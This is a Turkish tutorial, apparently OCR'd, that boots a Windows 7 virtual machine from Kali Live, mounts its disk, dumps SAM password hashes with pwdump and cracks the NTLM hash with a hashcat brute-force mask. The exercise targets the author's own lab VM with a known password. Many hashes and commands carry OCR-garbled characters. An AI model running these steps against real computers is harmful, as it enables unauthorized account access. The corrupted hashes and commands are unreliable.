Kali Live'den SAM Dosyasini1 Cekme 2
(+) Bu belgedeki islemler birebir denenmistir ve basariyla uygulanmigtir.

Bu yazida hedef sistem bir Virtual box sanal makinasi olacaktir. Icinde Windows 7 yiiklii olacakr.
Biz bu sanal makinaya Kali Live iso'sunu CD olarak takip boot edecegiz. Sanal makinada ekrana
gelen Kali Live'den sanal makinadaki Windows 7 isletim sisteminin SAM dosyasini ¢ekecegiz.
Boylece gercek hayatta Windows 7 yiiklii bir bilgisayara Kali Live CD'si takip boot etmeyi kendi
makinamizda simule etmis olacagiz. Windows 7 igletim sisteminden SAM'i cektikten sonra kendi
makinamiza cekilip hashcat ile brute force yontemini kullanarak sifreyi kiracagiz. Ttim bu siire¢
boyunca kullanilacak isletim sistemleri ise sunlar olacaktir:

- Windows 7 Home Premium // Hedef Sistem
- Kali Live 2016 // Hedef Sistemi Boot Edecek Isletim Sistemi
- Ubuntu 14.04 // Kendi Sistemimiz

Not: Virtual Box'taki Windows 7 Home Premium oturum sifresi cem92 olarak ayarlanmistir.
Hedefimiz bu sanal makinanin sifresini Kali Live ile elde etmektir.

Ilk olarak Virtual Box'da yer alan Windows 7 Home Premium sanal makinasimin CD kismina Kali
2016 iso'sunu takalim ve o sekilde sanal makinay1 baglatalim.
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Goriildiigii tizere Windows 7 sanal makinasinda Windows 7 yerine Kali Live boot edilmistir. Simdi
Live (forensic mode) secenegine tiklayalim ve Kali Live'i sanal makinada caligtiralim.



Windows 7 Home Premium [Running] - Oracle VM VirtualBox

Places = [ P

iSiIMTESCIL ise Basvuru Lnwservers |

Belgeleri lessk Lsais include karabuk

Basvurulacak yerler

Simdi sanal makinanin HDD'sindeki Windows 7 partition'in1 bulalim:

> setxkbmap tr
> fdisk -1
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Boyut itibariyle Windows 7 partition'inin /dev/sda2 oldugu barizdir. Simdi yapilacak islem
/dev/sda2'yi Kali Live'in /root dizinine mount etmek, oradan Windows/System32/config dizinine
gitmek ve SAM dosyasini pwdump ile ekrana basmaktir. O halde /dev/sda2'yi Kali Live'in /root
dizinine mount edelim.



> mount /dev/sda2 /root
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Ardindan /root dizini Windows dosyalarini almis mi1 diye bakalim.

> cd /root
> s
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Goriildiigii tizere Windows dosyalar1 gelmis. Daha sonra /root dizini tizerinden Windows/System32/
config dizinine gidelim.

> cd Windows/System32/config
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Son olarak SAM dosyasi igerigini dump edilir.

> pwdump SYSTEM SAM
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Boylece Windows 7 sanal makinesinin account'lar1 gozler dniine serilmistir. Iclerinden hefese
kullanicisina yogunlagsalim:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73¢c59d7e0c089c0:::
hefese:1001:aad3b435b51404eeaad3b435b51404ee:5e35¢54306bd41dcad571ec5b915al15¢:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:b3e9850295a821ec5¢c742c22ed1cb741:::

Hatirlarsan SAM dosyasindaki satirlarin syntax'i su sekilde idi:

<User>:<ID>:<LM hash>:<NTLM hash>:<Comment>:<Path>

Yani bir satir hem LM hash'ini hem de NTLM hash'ini icermektedir. LM hash'lerde empty
password'ii ifade etmek icin asagidaki string kullanilirken

aad3b435b51404eeaad3b435b51404ee

NTLM hash'lerde empty password'ii ifade etmek icin asagidaki string kullanilir:

31d6cfe0d16ae931b73c59d7e0c089c0

SAM dosyasindan dump edilen igerige bakacak olursak cogu kullanici empty password olarak, yani
sifresiz olarak goziikmektedir.

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
hefese:1001:aad3b435b51404eeaad3b435b51404ee:5e35¢54306bd41dcad571ec5b915al5c¢:::
HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:b3e9850295a821ec5c742¢c22ed1cb74f:::

hefese kullanicisina bakacak olursak LM kismi empty password gosterilmis. Halbuki hefese
kullanmcisi bir password'e sahip sekilde ayarlanmisti. O halde neden LM kismi empty password
olarak goriiniiyor? NTLM kismina bakacak olursak belirli bir sifrenin hash karsili oldugu
goriilmektedir. Buradan su sonug ¢ikarilabilir. Demek ki Windows 7 LM sifreleme algoritmasini
kullanmiyor oldugu icin LM kismi NULL goriinmiistiir ve NTLM sifreleme algoritmasini
kullamyor oldugu icin de NTLM kismu NULL olmayan bir hash olarak gériinmiistiir.

hefese:1001:aad3b435b51404eeaad3b435b51404ee:5e35c¢54306bd41dcad571ec5b915al15¢:::



Not:  Yukaridaki hefese satirinda LM'nin empty, NTLM'nin ise bir sifreye ait hash olmasi
durumunu g6z 6ntinde bulundurarak énceki Kali Live'den SAM Dosyasim1 Cekme.docx
yazisindaki pwdump'in sadece empty password ¢iktisi veriyor olusunun nedenini daha net
izah edebiliriz. Dendiginde gére Windows 10 y1ldoniimii giincellemesi dolayisiyla artik
SAM dosyasinda AES sifrelemesi kullaniyormus. O halde SAM dosyasinin LM ve NTLM
kisimlar1 empty password, AES kismi ise mevcut hash seklinde oldugundan ve pwdump
tool'u SAM dosyasinin sadece LM ve NTLM kisimlarin1 dump ettiginden dolay1 empty
password string'lerini dump etmistir. Halbuki giincellemeye gére AES kismim da dump etme
kabiliyeti olsaydi empty password ¢iktisinin yaninda esas sifrenin hash'ini de gorebilecektik.

Boylece Windows 7 sanal makinasinin hash'ini elde etmis bulunmaktayiz. $imdi hefese kullanicisinin
hash'ini not edelim. Hedef sistemden elimizi ¢ekelim ve artik kendi makinamiza (Ubuntu'ya) doniip sifre
kirma islemlerine baslayalim.

Ekstra

Ubuntu'da /home dizininde yiiklii hashcat tool'undan yararlanarak brute force methoduyla az 6nce elde
ettigimiz hash'i kirabiliriz. Bakalim sifre neymis.

hash_ntlm:

5e35c54306bd41dcad571ec5b915a15¢

Terminal

> cd /hefese/home/hashcat-2.0.0
> ./hashcat-cli64.bin -m 1000 -a 3 --increment --increment-min=1 --increment-max=>5 hash_ntlm.txt
-1 ?17d ?1?1?1?1°?1

Yukaridaki koddaki -m 1000 ile NTLM sifrelemesinin kullanilacagini, -a 3 ile brute force saldirisinin
yapilacagini, increment ve devaminda gelen diger increment'ler ile brute force'un sabit karakter sayisina
sahip kombinasyonlar ile degilde 1 karakterli kombinasyonlardan 5 karakterli kombinasyonlara kadar
arttirmal: sekilde yapilmasi gerektigini, -1 ?1?d ile custom bir charset tanimlamasi yapilacagini ve charset'in
alfabedeki harflerden (?1) ve sayilardan (?d) olusacagini, son olarak ?1?1?1?1?1 ile de bir karakterliden bes
karakterliye kadarki tiim kombinasyonlarin her karakterinin tanimladigimiz custom karakter setindeki
karakterleri almasi gerektigini belirtmis oluruz.

Terminaldeki hashcat tool'u brute force yaparken belli bir miiddet sonra iizerinde sifreleme yaptig string'in
verilen hash'le eslestigini gorecektir ve sifreyi boylece kirmig olacaktir:

Output:

5e35c54306bd41dcad571ec5b915al15¢:cem92
All hashes have been recovered

Input.Mode: Mask (?1?1?1?1?1) [5]

Index.....: 0/1 (segment), 60466176 (words), 0 (bytes)
Recovered.: 1/1 hashes, 1/1 salts

Speed/sec.: - plains, 38.88M words



Progress..: 36400688/60466176 (60.20%)
Running...: 00:00:00:01
Estimated.: --:--:--:--

Started: Thu Dec 15 20:24:02 2016
Stopped: Thu Dec 15 20:24:03 2016

Goriildiigii iizere sifre cem92 imis. Brute force saldiris1 boylece basarili olmustur. Buraya kadar
yaptiklarimizi 6zetlersek offline hacking yontemiyle hedef sistemi cd'den boot ettik. Kali Live tizerinden
hedef sistemin SAM dosyasini ¢ektik. SAM dosyasindaki hash'ini not edip kendi makinamiza ¢ekildik ve
hash'i brute force methoduyla kirdik.

Not: Windows 7 Home Premium sifresinin cem92 segilisinin nedeni hem karakter hem say1 olusu daha
gercekci bir sifre olur diyedir ve brute force'la bu gibi sifrelerin kolaylikla kirilabilecegini vurgulamak
icindir. Brute force islemi 1 dk bile siirmeden birden bes karakterliye kadarki tiim kombinasyonlar1
denemistir ve sifreyi kirmistir.

Yararlanilan Kaynak
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